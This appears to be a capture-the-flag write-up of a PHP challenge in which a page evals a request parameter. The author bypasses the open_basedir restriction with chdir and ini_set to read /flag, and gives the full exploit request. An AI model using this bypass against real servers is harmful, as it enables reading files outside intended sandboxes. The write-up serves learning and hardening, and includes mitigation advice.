(Note: I wasn’t able to solve this challenge during the CTF, but I solved it afterwards)

The challenge description gives us a webserver address and a text, that we should use only the php inbuilt functions to get the /flag and show the webmaster that the php builtin functions are insecure as well.

Upon loading the website address, we are immediately greeted with an image as well as - presumably - the code for the index.php page:


<img src='img/php.jpg'><br> 

Calling eval on a request parameter we control? That seems way too easy, right?

First, we start by testing if it actually works, namely setting eval to phpinfo();: GET /?eval=phpinfo();

And in fact, we do get a nice phpinfo of the webserver:


The most interesting setting to me, was the disabled_functions:

disabled_functions = pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec,posix_mkfifo, pg_lo_import, dbmopen, dbase_open, popen, chgrp, chown, chmod, symlink,apache_setenv,define_syslog_variables, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_uname, proc_close, pclose, proc_nice, proc_terminate,curl_exec,curl_multi_exec,parse_ini_file,show_source,imap_open,imagecolormatch,fopen,copy,rename,readfile,readlink,tmpfile,tempnam,touch,link,file_put_contents,file,ftp_connect,ftp_ssl_connect,

There was no way to get a shell (or something similar). However, we had remote php code execution anyways, so we can just use file_get_contents("/flag"), right? Lets try that: GET /?eval=var_dump(file_get_contents("flag"));

This returns bool(false). Huh, maybe we did something wrong, let’s enable errors by using ini_set and see if there are any: GET /?eval=ini_set("display_errors", 1);file_get_contents("/flag")

This gives us some more information to work with:

Warning: file_get_contents(): open_basedir restriction in effect. File(/flag) is not within the allowed path(s): (/var/www/html/) in /var/www/html/index.php(6) : eval()'d code on line 1

Warning: file_get_contents(/flag): failed to open stream: Operation not permitted in /var/www/html/index.php(6) : eval()'d code on line 1

I have never heard of the open_basedir directive, so I looked it up on php.net:

Limit the files that can be accessed by PHP to the specified directory-tree, including the file itself. This directive is NOT affected by whether Safe Mode is turned On or Off.

When a script tries to access the filesystem, for example using include, or fopen(), the location of the file is checked. When the file is outside the specified directory-tree, PHP will refuse to access it. All symbolic links are resolved, so it's not possible to avoid this restriction with a symlink. If the file doesn't exist then the symlink couldn't be resolved and the filename is compared to (a resolved) open_basedir .


The special value . indicates that the working directory of the script will be used as the base-directory. This is, however, a little dangerous as the working directory of the script can easily be changed with chdir().

As of PHP 5.3.0 open_basedir can be tightened at run-time. This means that if open_basedir is set to /www/ in php.ini a script can tighten the configuration to /www/tmp/ at run-time with ini_set(). When listing several directories, you can use the PATH_SEPARATOR constant as a separator regardless of the operating system.


So we need to somehow read a file using only php code, that all builtin php functions are prohibited of reading. This is where I got stuck during the CTF. I tried a lot of different things, but most either also had the open_basedir protection or reside inside a module that was not loaded.

After coming back a day later and rereading the php.net entry, I notide the bit about the special value .. And then I realized, what if we set the open_basedir to ../? This is exactly how the exploit works. First we change our current directory into a subdirectory using chdir:

// Current directory: /var/www/html
// Current directory: /var/www/html/img

Then, we add ../ to the open_basedir setting using ini_set:

// open_basedir = /var/www/html
ini_set("open_basedir", "/var/www/html:../");
// open_basedir = /var/www/html:../

How does this exactly work? As noted above by php.net, we can always tighten the open_basedir restriction at runtime. When we set open_basedir to a new value, php checks whether all new paths would be allowed by the old open_basedir setting. /var/www/html is obviously still allowed and ../ also resolves to /var/www/html, since we are in /var/www/html/img. Thus the value is set.

This now means, that we can access everything one directory level above our current directory. Hence, we can just traverse the directory tree upwards and read out the flag!:

// Current directory: /var/www/html/img
// Current directory: /var/www/html
// Current directory: /var/www/
// Current directory: /var/
// Current directory: /

Thus, the final exploit looks like this:

GET /?eval=chdir("img/");ini_set("open_basedir", "/var/www/html:../");chdir("../");chdir("../");chdir("../");chdir("../");var_dump(file_get_contents("flag"));

And we got the flag: "INS{b3tter_l4te_th4n_nev3r!}"

Now surely, this must be a php, bug. Otherwise, the whole open_basedir option can easily be defeated. Apparently, this is not the case. open_basedir should only be used for preventing shared hostings from interferring and should be set in your webserver (e.g. Apache) configuration. This way, you cannot override the setting inside php, even with ini_set. So don’t use open_basedir for security ;)

What I also found interesting, is that nothing on the internet seemed to indicate this as a possible exploit path. The only references on bypassing open_basedir I found, where either real bugs inside php (e.g. glob://* ignoring it) or using other convoluted methods (such as calling mail and loading your own binary with LD_PRELOAD ALICTF 2016 Writeup). The method above, seems way easier in comparison, not only because you just need ini_set and chdir enabled (mkdir too, if there are no subdirectories, which seems unlikely). Furthermore, it seems that you can even set the setting inside a .user.ini file in the directory of the script, making this even easier to bypass.